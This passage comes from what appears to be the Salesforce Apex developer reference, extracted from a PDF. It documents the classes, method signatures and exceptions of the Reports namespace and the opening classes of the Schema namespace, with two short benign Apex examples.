setHasDetailRows(hasDetailRows)
Specifies whether the report has detail rows.

Signature
public void setHasDetailRows(Boolean hasDetailRows)

Parameters
hasDetailRows

Type: Boolean

Return Value
Type: void

setHasRecordCount(hasRecordCount)
Specifies whether the report is configured to show the total number of records.

1812

Reference

ReportMetadata Class

Signature
public void setHasRecordCount(Boolean hasRecordCount)

Parameters
hasRecordCount

Type: Boolean

Return Value
Type: void

setHistoricalSnapshotDates(historicalSnapshot)
Sets a list of historical snapshot dates.

Syntax
public Void setHistoricalSnapshotDates(LIST<String> historicalSnapshot)

Parameters
historicalSnapshot

Type: List<String>

Return Value
Type: Void

setId(id)
Sets the unique report ID.

Signature
public void setId(Id id)

Parameters
id

Type: Id

Return Value
Type: void

setName(name)
Sets the report name.

1813

Reference

ReportMetadata Class

Signature
public void setName(String name)

Parameters
name

Type: String

Return Value
Type: void

setReportBooleanFilter(reportBooleanFilter)
Sets logic to parse custom field filters.

Syntax
public Void setReportBooleanFilter(String reportBooleanFilter)

Parameters
reportBooleanFilter

Type: String

Return Value
Type: Void

setReportFilters(reportFilters)
Sets a list of each custom filter in the report along with the field name, filter operator, and filter value.

Syntax
public Void setReportFilters(LIST<Reports.ReportFilter> reportFilters)

Parameters
reportFilters

Type: List<Reports.ReportFilter>

Return Value
Type: Void

setReportFormat(format)
Sets the format of the report.

1814

Reference

ReportMetadata Class

Signature
public void setReportFormat(Reports.ReportFormat format)

Parameters
format

Type: Reports.ReportFormat

Return Value
Type: void

setReportType(reportType)
Sets the unique API name and display name for the report type.

Signature
public void setReportType(Reports.ReportType reportType)

Parameters
reportType

Type: Reports.ReportType

Return Value
Type: void

setScope(scopeName)
Sets the API name for the scope defined for the report. Scope values depend on the report type.

Signature
public void setScope(String scopeName)

Parameters
scopeName

Type: String

Return Value
Type: void

setShowGrandTotal(showGrandTotal)
Specifies whether the report shows the grand total.

1815

Reference

ReportMetadata Class

Signature
public void setShowGrandTotal(Boolean showGrandTotal)

Parameters
showGrandTotal

Type: Boolean

Return Value
Type: void

setShowSubtotals(showSubtotals)
Specifies whether the report shows subtotals, such as column or row totals.

Signature
public void setShowSubtotals(Boolean showSubtotals)

Parameters
showSubtotals

Type: Boolean

Return Value
Type: void

setSortBy(column)
Sets the list of columns on which the report is sorted. Currently, you can only sort on one column.

Signature
public void setSortBy(List<Reports.SortColumn> column)

Parameters
column

Type: List<Reports.SortColumn>

Return Value
Type: void

setStandardDateFilter(dateFilter)
Sets the standard date filterwhich includes the start date, end date, date range, and date field API namefor the report.

1816

Reference

ReportResults Class

Signature
public void setStandardDateFilter(Reports.StandardDateFilter dateFilter)

Parameters
dateFilter

Type: Reports.StandardDateFilter

Return Value
Type: void

setStandardFilters(filters)
Sets one or more standard filters on the report.

Signature
public void setStandardFilters(List<Reports.StandardFilter> filters)

Parameters
filters

Type: List<Reports.StandardFilter>

Return Value
Type: void

setTopRows(topRows)
Applies a row limit filter to a report.

Signature
public Reports.TopRows setTopRows(Reports.TopRows topRows)

Parameters
topRows

Type: Reports.TopRows

Return Value
Type: void

ReportResults Class
Contains the results of running a report.

1817

Reference

ReportResults Class

Namespace
Reports

ReportResults Methods
The following are methods for ReportResults. All are instance methods.
IN THIS SECTION:
getAllData()
Returns all report data.
getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.
getGroupingsAcross()
Returns a collection of column groupings, keys, and values.
getGroupingsDown()
Returns a collection of row groupings, keys, and values.
getHasDetailRows()
Returns information about whether the fact map has detail rows.
getReportExtendedMetadata()
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.
getReportMetadata()
Returns metadata about the report, including grouping and summary information.

getAllData()
Returns all report data.

Syntax
public Boolean getAllData()

Return Value
Type: Boolean

Usage
When true, indicates that all report results are returned.
When false, indicates that results are returned for the same number of rows as in a report run in Salesforce.
Note: For reports that contain too many records, use filters to refine results.

1818

Reference

ReportResults Class

getFactMap()
Returns summary-level data or summary and detailed data for each row or column grouping. Detailed data is available if the
includeDetails parameter is set to true when the report is run.

Syntax
public MAP<String,Reports.ReportFact> getFactMap()

Return Value
Type: Map<String,Reports.ReportFact>

getGroupingsAcross()
Returns a collection of column groupings, keys, and values.

Syntax
public Reports.Dimension getGroupingsAcross()

Return Value
Type: Reports.Dimension

getGroupingsDown()
Returns a collection of row groupings, keys, and values.

Syntax
public Reports.Dimension getGroupingsDown()

Return Value
Type: Reports.Dimension

getHasDetailRows()
Returns information about whether the fact map has detail rows.

Syntax
public Boolean getHasDetailRows()

Return Value
Type: Boolean

1819

Reference

ReportScopeInfo Class

Usage
When true, indicates that the fact map returns values for summary-level and record-level data.
When false, indicates that the fact map returns summary values.

getReportExtendedMetadata()
Returns additional, detailed metadata about the report, including data type and label information for groupings and summaries.

Syntax
public Reports.ReportExtendedMetadata getReportExtendedMetadata()

Return Value
Type: Reports.ReportExtendedMetadata

getReportMetadata()
Returns metadata about the report, including grouping and summary information.

Syntax
public Reports.ReportMetadata getReportMetadata()

Return Value
Type: Reports.ReportMetadata

ReportScopeInfo Class
Contains information about possible scope values that you can choose. Scope values depend on the report type. For example, you can
set the scope for opportunity reports to All opportunities, My teams opportunities, or My opportunities.

Namespace
Reports
IN THIS SECTION:
ReportScopeInfo Methods

ReportScopeInfo Methods
The following are methods for ReportScopeInfo.
IN THIS SECTION:
getDefaultValue()
Returns the default scope of the data to display in the report.

1820

Reference

ReportScopeValue Class

getValues()
Returns a list of scope values specified for the report.

getDefaultValue()
Returns the default scope of the data to display in the report.

Signature
public String getDefaultValue()

Return Value
Type: String

getValues()
Returns a list of scope values specified for the report.

Signature
public List<Reports.ReportScopeValue> getValues()

Return Value
Type: List<Reports.ReportScopeValue>

ReportScopeValue Class
Contains information about a possible scope value. Scope values depend on the report type. For example, you can set the scope for
opportunity reports to All opportunities, My teams opportunities, or My opportunities.

Namespace
Reports
IN THIS SECTION:
ReportScopeValue Methods

ReportScopeValue Methods
The following are methods for ReportScopeValue.
IN THIS SECTION:
getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.

1821

Reference

ReportType Class

getLabel()
Returns the display name of the scope of the report.
getValue()
Returns the scope value for the report.

getAllowsDivision()
Returns a boolean value that indicates whether you can segment the report by this scope.

Signature
public Boolean getAllowsDivision()

Return Value
Type: Boolean

getLabel()
Returns the display name of the scope of the report.

Signature
public String getLabel()

Return Value
Type: String

getValue()
Returns the scope value for the report.

Signature
public String getValue()

Return Value
Type: String

ReportType Class
Contains the unique API name and display name for the report type.

Namespace
Reports

1822

Reference

ReportTypeColumn Class

ReportType Methods
The following are methods for ReportType. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the localized display name of the report type.
getType()
Returns the unique identifier of the report type.

getLabel()
Returns the localized display name of the report type.

Syntax
public String getLabel()

Return Value
Type: String

getType()
Returns the unique identifier of the report type.

Syntax
public String getType()

Return Value
Type: String

ReportTypeColumn Class
Contains detailed report type metadata about a field, including data type, display name, and filter values.

Namespace
Reports

ReportTypeColumn Methods
The following are methods for ReportTypeColumn. All are instance methods.

1823

Reference

ReportTypeColumn Class

IN THIS SECTION:
getDataType()
Returns the data type of the field.
getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox
fields always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values
cant be determined.
getFilterable()
If the field is of a type that cant be filtered, returns False. For example, fields of the type Encrypted Text cant be filtered.
getLabel()
Returns the localized display name of the field.
getName()
Returns the unique API name of the field.

getDataType()
Returns the data type of the field.

Syntax
public Reports.ColumnDataType getDataType()

Return Value
Type: Reports.ColumnDataType

getFilterValues()
If the field data type is picklist, multi-select picklist, boolean, or checkbox, returns all filter values for a field. For example, checkbox fields
always have a value of true or false. For fields of other data types, the filter value is an empty array, because their values cant be
determined.

Syntax
public LIST<Reports.FilterValue> getFilterValues()

Return Value
Type: List<Reports.FilterValue>

getFilterable()
If the field is of a type that cant be filtered, returns False. For example, fields of the type Encrypted Text cant be filtered.

Syntax
public Boolean getFilterable()

1824

Reference

ReportTypeColumnCategory Class

Return Value
Type: Boolean

getLabel()
Returns the localized display name of the field.

Syntax
public String getLabel()

Return Value
Type: String

getName()
Returns the unique API name of the field.

Syntax
public String getName()

Return Value
Type: String

ReportTypeColumnCategory Class
Information about categories of fields in a report type.

Namespace
Reports

Usage
A report type column category is a set of fields that the report type grants access to. For example, an opportunity report has categories
like Opportunity Information and Primary Contact. The Opportunity Information category has fields like Amount, Probability, and Close
Date.
Get category information about a report by first getting the report metadata:
// Get the report ID
List <Report> reportList = [SELECT Id,DeveloperName FROM Report where DeveloperName =
'Q1_Opportunities2'];
String reportId = (String)reportList.get(0).get('Id');
// Describe the report
Reports.ReportDescribeResult describeResults =

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Reference

ReportTypeColumnCategory Class

Reports.ReportManager.describeReport(reportId);
// Get report type metadata
Reports.ReportTypeMetadata reportTypeMetadata = describeResults.getReportTypeMetadata();
// Get report type column categories
List<Reports.ReportTypeColumnCategory> reportTypeColumnCategories =
reportTypeMetadata.getCategories();
System.debug('reportTypeColumnCategories: ' + reportTypeColumnCategories);

ReportTypeColumnCategory Methods
The following are methods for ReportTypeColumnCategory. All are instance methods.
IN THIS SECTION:
getColumns()
Returns information for all fields in the report type. The information is organized by each sections unique API name.
getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts
with Contacts custom report type, Account General is the display name of the section that contains fields on general account
information.

getColumns()
Returns information for all fields in the report type. The information is organized by each sections unique API name.

Syntax
public MAP<String,Reports.ReportTypeColumn> getColumns()

Return Value
Type: Map<String,Reports.ReportTypeColumn>

getLabel()
Returns the localized display name of a section in the report type under which fields are organized. For example, in an Accounts with
Contacts custom report type, Account General is the display name of the section that contains fields on general account information.

Syntax
public String getLabel()

Return Value
Type: String

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Reference

ReportTypeMetadata Class

ReportTypeMetadata Class
Contains report type metadata, which gives you information about the fields that are available in each section of the report type, plus
filter information for those fields.

Namespace
Reports
IN THIS SECTION:
ReportTypeMetadata Methods

ReportTypeMetadata Methods
The following are methods for ReportTypeMetadata. All are instance methods.
IN THIS SECTION:
getCategories()
Returns all fields in the report type. The fields are organized by section.
getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.
getScopeInfo()
Returns information about the scopes that can be applied to this type of report.
getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based
on a user-defined date range.
getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.

getCategories()
Returns all fields in the report type. The fields are organized by section.

Syntax
public LIST<Reports.ReportTypeColumnCategory> getCategories()

Return Value
Type: List<Reports.ReportTypeColumnCategory>

getDivisionInfo()
Returns the default division and a list of all possible divisions that can be applied to this type of report.

1827

Reference

SortColumn Class

Signature
public Reports.ReportDivisionInfo getDivisionInfo()

Return Value
Type: Reports.ReportDivisionInfo

getScopeInfo()
Returns information about the scopes that can be applied to this type of report.

Signature
public Reports.ReportScopeInfo getScopeInfo()

Return Value
Type: Reports.ReportScopeInfo

getStandardDateFilterDurationGroups()
Returns information about the standard date filter groupings that can be applied to this type of report. Standard date filter groupings
include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week, Fiscal Year, Fiscal Quarter, Day and a custom value based on
a user-defined date range.

Signature
public List<Reports.StandardDateFilterDurationGroup>
getStandardDateFilterDurationGroups()

Return Value
Type: List<Reports.StandardDateFilterDurationGroup>

getStandardFilterInfos()
Returns information about standard date filters that can be applied to this type of report.

Signature
public Map<String,Reports.StandardFilterInfo> getStandardFilterInfos()

Return Value
Type: Map<String,Reports.StandardFilterInfo>

SortColumn Class
Contains information about the sort column used in the report.

1828

Reference

SortColumn Class

Namespace
Reports
IN THIS SECTION:
SortColumn Methods

SortColumn Methods
The following are methods for SortColumn.
IN THIS SECTION:
getSortColumn()
Returns the column used to sort the records in the report.
getSortOrder()
Returns the the sort order ascending or descendingfor the sort column.
setSortColumn(sortColumn)
Sets the column used to sort the records in the report.
setSortOrder(SortOrder)
Sets the sort order ascending or descendingfor the sort column.

getSortColumn()
Returns the column used to sort the records in the report.

Signature
public String getSortColumn()

Return Value
Type: String

getSortOrder()
Returns the the sort order ascending or descendingfor the sort column.

Signature
public Reports.ColumnSortOrder getSortOrder()

Return Value
Type: Reports.ColumnSortOrder

1829

Reference

StandardDateFilter Class

setSortColumn(sortColumn)
Sets the column used to sort the records in the report.

Signature
public void setSortColumn(String sortColumn)

Parameters
sortColumn

Type: String

Return Value
Type: void

setSortOrder(SortOrder)
Sets the sort order ascending or descendingfor the sort column.

Signature
public void setSortOrder(Reports.ColumnSortOrder sortOrder)

Parameters
sortOrder

Type: Reports.ColumnSortOrder

Return Value
Type: void

Namespace
Reports
IN THIS SECTION:
StandardDateFilter Methods

StandardDateFilter Methods
The following are methods for StandardDateFilter.

1830

Reference

StandardDateFilter Class

IN THIS SECTION:
getColumn()
Returns the API name of the standard date filter column.
getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date
filter.
getEndDate()
Returns the end date of the standard date filter.
getStartDate()
Returns the start date for the standard date filter.
setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.
setDurationValue(durationName)
Sets the API name of the standard date filter.
setEndDate(endDate)
Sets the end date for the standard date filter.
setStartDate(startDate)
Sets the start date for the standard date filter.

getColumn()
Returns the API name of the standard date filter column.

Signature
public String getColumn()

Return Value
Type: String

getDurationValue()
Returns duration information about a standard date filter, such as start date, end date, and display name and API name of the date filter.

Signature
public String getDurationValue()

Return Value
Type: String

getEndDate()
Returns the end date of the standard date filter.

1831

Reference

StandardDateFilter Class

Signature
public String getEndDate()

Return Value
Type: String

getStartDate()
Returns the start date for the standard date filter.

Signature
public String getStartDate()

Return Value
Type: String

setColumn(standardDateFilterColumnName)
Sets the API name of the standard date filter column.

Signature
public void setColumn(String standardDateFilterColumnName)

Parameters
standardDateFilterColumnName

Type: String

Return Value
Type: void

setDurationValue(durationName)
Sets the API name of the standard date filter.

Signature
public void setDurationValue(String durationName)

Parameters
durationName

Type: String

1832

Reference

StandardDateFilterDuration Class

Return Value
Type: void

setEndDate(endDate)
Sets the end date for the standard date filter.

Signature
public void setEndDate(String endDate)

Parameters
endDate

Type: String

Return Value
Type: void

setStartDate(startDate)
Sets the start date for the standard date filter.

Signature
public void setStartDate(String startDate)

Parameters
startDate

Type: String

Return Value
Type: void

StandardDateFilterDuration Class
Contains information about each standard date filteralso referred to as a relative date filter. It contains the API name and display label
of the standard date filter duration as well as the start and end dates.

Namespace
Reports
IN THIS SECTION:
StandardDateFilterDuration Methods

1833

Reference

StandardDateFilterDuration Class

StandardDateFilterDuration Methods
The following are methods for StandardDateFilterDuration.
IN THIS SECTION:
getEndDate()
Returns the end date of the date filter.
getLabel()
Returns the display name of the date filter. Possible values are relative date filterslike Current FY and Current FQand
custom date filters.
getStartDate()
Returns the start date of the date filter.
getValue()
Returns the API name of the date filter. Possible values are relative date filterslike THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTERand custom date filters.

getEndDate()
Returns the end date of the date filter.

Signature
public String getEndDate()

Return Value
Type: String

getLabel()
Returns the display name of the date filter. Possible values are relative date filterslike Current FY and Current FQand
custom date filters.

Signature
public String getLabel()

Return Value
Type: String

getStartDate()
Returns the start date of the date filter.

Signature
public String getStartDate()

1834

Reference

StandardDateFilterDurationGroup Class

Return Value
Type: String

getValue()
Returns the API name of the date filter. Possible values are relative date filterslike THIS_FISCAL_YEAR and
NEXT_FISCAL_QUARTERand custom date filters.

Signature
public String getValue()

Return Value
Type: String

StandardDateFilterDurationGroup Class
Contains information about the standard date filter groupings, such as the grouping display label and all standard date filters that fall
under the grouping. Groupings include Calendar Year, Calendar Quarter, Calendar Month, Calendar Week,
Fiscal Year, Fiscal Quarter, Day, and custom values based on user-defined date ranges.

Namespace
Reports
IN THIS SECTION:
StandardDateFilterDurationGroup Methods

StandardDateFilterDurationGroup Methods
The following are methods for StandardDateFilterDurationGroup.
IN THIS SECTION:
getLabel()
Returns the display label for the standard date filter grouping.
getStandardDateFilterDurations()
Returns the standard date filter groupings.

getLabel()
Returns the display label for the standard date filter grouping.

Signature
public String getLabel()

1835

Reference

StandardFilter Class

Return Value
Type: String

getStandardDateFilterDurations()
Returns the standard date filter groupings.

Signature
public List<Reports.StandardDateFilterDuration> getStandardDateFilterDurations()

Return Value
Type: List<Reports.StandardDateFilterDuration>
For example, a standard filter date grouping might look like this:
Reports.StandardDateFilterDuration[endDate=2015-12-31, label=Current FY,
startDate=2015-01-01, value=THIS_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous FY,
startDate=2014-01-01, value=LAST_FISCAL_YEAR],
Reports.StandardDateFilterDuration[endDate=2014-12-31, label=Previous 2 FY,
startDate=2013-01-01, value=LAST_N_FISCAL_YEARS:2]

StandardFilter Class
Contains information about the standard filter defined in the report, such as the filter field API name and filter value.

Namespace
Reports

Usage
Use to get or set standard filters on a report. Standard filters vary by report type. For example, standard filters for reports on the Opportunity
object are Show, Opportunity Status, and Probability.
IN THIS SECTION:
StandardFilter Methods

StandardFilter Methods
The following are methods for StandardFilter.
IN THIS SECTION:
getName()
Return the API name of the standard filter.

1836

Reference

StandardFilter Class

getValue()
Returns the standard filter value.
setName(name)
Sets the API name of the standard filter.
setValue(value)
Sets the standard filter value.

getName()
Return the API name of the standard filter.

Signature
public String getName()

Return Value
Type: String

getValue()
Returns the standard filter value.

Signature
public String getValue()

Return Value
Type: String

setName(name)
Sets the API name of the standard filter.

Signature
public void setName(String name)

Parameters
name

Type: String

Return Value
Type: void

1837

Reference

StandardFilterInfo Class

setValue(value)
Sets the standard filter value.

Signature
public void setValue(String value)

Parameters
value

Type: String

Return Value
Type: void

StandardFilterInfo Class
Is an abstract base class for an object that provides standard filter information.

Namespace
Reports
IN THIS SECTION:
StandardFilterInfo Methods

StandardFilterInfo Methods
The following are methods for StandardFilterInfo.
IN THIS SECTION:
getLabel()
Returns the display label of the standard filter.
getType()
Returns the type of standard filter.

getLabel()
Returns the display label of the standard filter.

Signature
public String getLabel()

1838

Reference

StandardFilterInfoPicklist Class

Return Value
Type: String

getType()
Returns the type of standard filter.

Signature
public Reports.StandardFilterType getType()

Return Value
Type: Reports.StandardFilterType

StandardFilterInfoPicklist Class
Contains information about the standard filter picklist, such as the display name and type of the filter field, the default picklist value, and
a list of all possible picklist values.

Namespace
Reports
IN THIS SECTION:
StandardFilterInfoPicklist Methods

StandardFilterInfoPicklist Methods
The following are methods for StandardFilterInfoPicklist.
IN THIS SECTION:
getDefaultValue()
Returns the default value for the standard filter picklist.
getFilterValues()
Returns a list of standard filter picklist values.
getLabel()
Returns the display name of the standard filter picklist.
getType()
Returns the type of the standard filter picklist.

getDefaultValue()
Returns the default value for the standard filter picklist.

1839

Reference

StandardFilterType Enum

Signature
public String getDefaultValue()

Return Value
Type: String

getFilterValues()
Returns a list of standard filter picklist values.

Signature
public List<Reports.FilterValue> getFilterValues()

Return Value
Type: List<Reports.FilterValue>

getLabel()
Returns the display name of the standard filter picklist.

Signature
public String getLabel()

Return Value
Type: String

getType()
Returns the type of the standard filter picklist.

Signature
public Reports.StandardFilterType getType()

Return Value
Type: Reports.StandardFilterType

StandardFilterType Enum
The StandardFilterType enum describes the type of standard filters in a report. The getType() method returns a
Reports.StandardFilterType enum value.

1840

Reference

SummaryValue Class

Namespace
Reports

Enum Values
The following are the values of the Reports.StandardFilterType enum.
Value

Description

PICKLIST

Values for the standard filter type.

STRING

String values.

SummaryValue Class
Contains summary data for a cell of the report.

Namespace
Reports

SummaryValue Methods
The following are methods for SummaryValue. All are instance methods.
IN THIS SECTION:
getLabel()
Returns the formatted summary data for a specified cell.
getValue()
Returns the numeric value of the summary data for a specified cell.

getLabel()
Returns the formatted summary data for a specified cell.

Syntax
public String getLabel()

Return Value
Type: String

getValue()
Returns the numeric value of the summary data for a specified cell.

1841

Reference

ThresholdInformation Class

Syntax
public Object getValue()

Return Value
Type: Object

ThresholdInformation Class
Contains a list of evaluated conditions for a report notification.

Namespace
Reports
IN THIS SECTION:
ThresholdInformation Constructors
ThresholdInformation Methods

ThresholdInformation Constructors
The following are constructors for ThresholdInformation.
IN THIS SECTION:
ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.

ThresholdInformation(evaluatedConditions)
Creates a new instance of the Reports.EvaluatedCondition class.

Signature
public ThresholdInformation(List<Reports.EvaluatedCondition> evaluatedConditions)

Parameters
evaluatedConditions

Type: List<Reports.EvaluatedCondition>
A list of Reports.EvaluatedCondition objects.

ThresholdInformation Methods
The following are methods for ThresholdInformation.

1842

Reference

TopRows Class

IN THIS SECTION:
getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.

getEvaluatedConditions()
Returns a list of evaluated conditions for a report notification.

Signature
public List<Reports.EvaluatedCondition> getEvaluatedConditions()

Return Value
Type: List<Reports.EvaluatedCondition>

TopRows Class
Contains methods and constructors for working with information about a row limit filter.

Namespace
Reports
IN THIS SECTION:
TopRows Constructors
TopRows Methods

TopRows Constructors
The following are constructors for TopRows.
IN THIS SECTION:
TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.
TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the classs set methods.

TopRows(rowLimit, direction)
Creates an instance of the Reports.TopRows class using the specified parameters.

Signature
public TopRows(Integer rowLimit, Reports.ColumnSortOrder direction)

1843

Reference

TopRows Class

Parameters
rowLimit

Type: Integer
The number of rows returned in the report.
direction

Type: Reports.ColumnSortOrder
The sort order of the report rows.

TopRows()
Creates an instance of the Reports.TopRows class. You can then set values by using the classs set methods.

Signature
public TopRows()

TopRows Methods
The following are methods for TopRows.
IN THIS SECTION:
getDirection()
Returns the sort order of the report rows.
getRowLimit()
Returns the maximum number of rows shown in the report.
setDirection(value)
Sets the sort order of the reports rows.
setDirection(direction)
Sets the sort order of the reports rows.
setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.
toString()
Returns a string.

getDirection()
Returns the sort order of the report rows.

Signature
public Reports.ColumnSortOrder getDirection()

Return Value
Type: Reports.ColumnSortOrder

1844

Reference

TopRows Class

getRowLimit()
Returns the maximum number of rows shown in the report.

Signature
public Integer getRowLimit()

Return Value
Type: Integer

setDirection(value)
Sets the sort order of the reports rows.

Signature
public void setDirection(String value)

Parameters
value

Type: String
For possible values, see Reports.ColumnSortOrder.

Return Value
Type: void

setDirection(direction)
Sets the sort order of the reports rows.

Signature
public void setDirection(Reports.ColumnSortOrder direction)

Parameters
direction

Type: Reports.ColumnSortOrder

Return Value
Type: void

setRowLimit(rowLimit)
Sets the maximum number of rows included in the report.

1845

Reference

Reports Exceptions

Signature
public void setRowLimit(Integer rowLimit)

Parameters
rowLimit

Type: Integer

Return Value
Type: void

toString()
Returns a string.

Signature
public String toString()

Return Value
Type: String

Reports Exceptions
The Reports namespace contains exception classes.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions on page 2092.
The Reports namespace contains these exceptions:
Exception

Description

Methods

Reports.FeatureNotSupportedException Invalid report format

Reports.InstanceAccessException Unable to access report

instance
Reports.InvalidFilterException Filter validation error

List<String> getFilterErrors() returns a list of

filter errors
Reports.InvalidReportMetadataException Missing metadata for

filters

List<String> getReportMetadataErrors()

returns a list of metadata errors

Reports.InvalidSnapshotDateException Invalid historical report List<String> getSnapshotDateErrors() returns

format

a list of snapshot date errors

Reports.MetadataException

No selected report
columns

Reports.ReportRunException

Error running report

1846

Reference

Schema Namespace

Exception

Description

Methods

Reports.UnsupportedOperationException Missing permissions for

running reports

Schema Namespace
The Schema namespace provides classes and methods for schema metadata information.
The following are the classes in the Schema namespace.
IN THIS SECTION:
ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.
DataCategory Class
Represents the categories within a category group.
DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.
DescribeColorResult Class
Contains color metadata information for a tab.
DescribeDataCategoryGroupResult Class
Contains the list of the category groups associated with KnowledgeArticleVersion and Question.
DescribeDataCategoryGroupStructureResult Class
Contains the category groups and categories associated with KnowledgeArticleVersion and Question.
DescribeFieldResult Class
Contains methods for describing sObject fields.
DescribeIconResult Class
Contains icon metadata information for a tab.
DescribeSObjectResult Class
Contains methods for describing sObjects.
DescribeTabResult Class
Contains tab metadata information for a tab in a standard or custom app available in the Salesforce user interface.
DescribeTabSetResult Class
Contains metadata information about a standard or custom app available in the Salesforce user interface.
DisplayType Enum
A Schema.DisplayType enum value is returned by the field describe result's getType method.
FieldSet Class
Contains methods for discovering and retrieving the details of field sets created on sObjects.
FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.

1847

Reference

ChildRelationship Class

PicklistEntry Class
Represents a picklist entry.
RecordTypeInfo Class
Contains methods for accessing record type information for an sObject with associated record types.
SOAPType Enum
A Schema.SOAPType enum value is returned by the field describe result getSoapType method.
SObjectField Class
A Schema.sObjectField object is returned from the field describe result using the getControler and
getSObjectField methods.
SObjectType Class
A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from
the sObject describe result using the getSObjectType method.

ChildRelationship Class
Contains methods for accessing the child relationship as well as the child sObject for a parent sObject.

Namespace
Schema

Example
A ChildRelationship object is returned from the sObject describe result using the getChildRelationship method. For example:
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.ChildRelationship> C = R.getChildRelationships();

ChildRelationship Methods
The following are methods for ChildRelationship. All are instance methods.
IN THIS SECTION:
getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.
getField()
Returns the token of the field that has a foreign key back to the parent sObject.
getRelationshipName()
Returns the name of the relationship.
isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.
isDeprecatedAndHidden()
Reserved for future use.

1848

Reference

ChildRelationship Class

isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.

getChildSObject()
Returns the token of the child sObject on which there is a foreign key back to the parent sObject.

Signature
public Schema.SObjectType getChildSObject()

Return Value
Type: Schema.SObjectType

getField()
Returns the token of the field that has a foreign key back to the parent sObject.

Signature
public Schema.SObjectField getField()

Return Value
Type: Schema.SObjectField

getRelationshipName()
Returns the name of the relationship.

Signature
public String getRelationshipName()

Return Value
Type: String

isCascadeDelete()
Returns true if the child object is deleted when the parent object is deleted, false otherwise.

Signature
public Boolean isCascadeDelete()

Return Value
Type: Boolean

1849

Reference

DataCategory Class

isDeprecatedAndHidden()
Reserved for future use.

Signature
public Boolean isDeprecatedAndHidden()

Return Value
Type: Boolean

isRestrictedDelete()
Returns true if the parent object can't be deleted because it is referenced by a child object, false otherwise.

Signature
public Boolean isRestrictedDelete()

Return Value
Type: Boolean

DataCategory Class
Represents the categories within a category group.

Namespace
Schema

Usage
The Schema.DataCategory object is returned by the getTopCategories method.

DataCategory Methods
The following are methods for DataCategory. All are instance methods.
IN THIS SECTION:
getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.
getLabel()
Returns the label for the data category used in the Salesforce user interface.
getName()
Returns the unique name used by the API to access to the data category.

1850

Reference

DataCategoryGroupSobjectTypePair Class

getChildCategories()
Returns a recursive object that contains the visible sub categories in the data category.

Signature
public Schema.DataCategory getChildCategories()

Return Value
Type: List<Schema.DataCategory>

getLabel()
Returns the label for the data category used in the Salesforce user interface.

Signature
public String getLabel()

Return Value
Type: String

getName()
Returns the unique name used by the API to access to the data category.

Signature
public String getName()

Return Value
Type: String

DataCategoryGroupSobjectTypePair Class
Specifies a category group and an associated object.

Namespace
Schema

Usage
Schema.DataCategoryGroupSobjectTypePair is used by the describeDataCategory GroupStructures method to return
the categories available to this object.

1851

Reference

DataCategoryGroupSobjectTypePair Class

IN THIS SECTION:
DataCategoryGroupSobjectTypePair Constructors
DataCategoryGroupSobjectTypePair Methods

DataCategoryGroupSobjectTypePair Constructors
The following are constructors for DataCategoryGroupSobjectTypePair.
IN THIS SECTION:
DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.

DataCategoryGroupSobjectTypePair()
Creates a new instance of the Schema.DataCategoryGroupSobjectTypePair class.

Signature
public DataCategoryGroupSobjectTypePair()

DataCategoryGroupSobjectTypePair Methods
The following are methods for DataCategoryGroupSobjectTypePair. All are instance methods.
IN THIS SECTION:
getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.
getSobject()
Returns the object name associated with the data category group.
setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.
setSobject(sObjectName)
Sets the sObject associated with the data category group.

getDataCategoryGroupName()
Returns the unique name used by the API to access the data category group.

Signature
public String getDataCategoryGroupName()

Return Value
Type: String

1852

Reference

DataCategoryGroupSobjectTypePair Class

getSobject()
Returns the object name associated with the data category group.

Signature
public String getSobject()

Return Value
Type: String

setDataCategoryGroupName(name)
Specifies the unique name used by the API to access the data category group.

Signature
public String setDataCategoryGroupName(String name)

Parameters
name
Type: String

Return Value
Type: Void

setSobject(sObjectName)
Sets the sObject associated with the data category group.

Signature
public Void setSobject(String sObjectName)

Parameters
sObjectName

Type: String
The sObjectName is the object name associated with the data category group. Valid values are:
KnowledgeArticleVersionfor article types.
Questionfor questions from Answers.

Return Value
Type: Void

1853

Reference

DescribeColorResult Class

DescribeColorResult Class
Contains color metadata information for a tab.

Namespace
Schema

Usage
The getColors method of the Schema.DescribeTabResult class returns a list of Schema.DescribeColorResult
objects that describe colors used in a tab.
The methods in the Schema.DescribeColorResult class can be called using their property counterparts. For each method
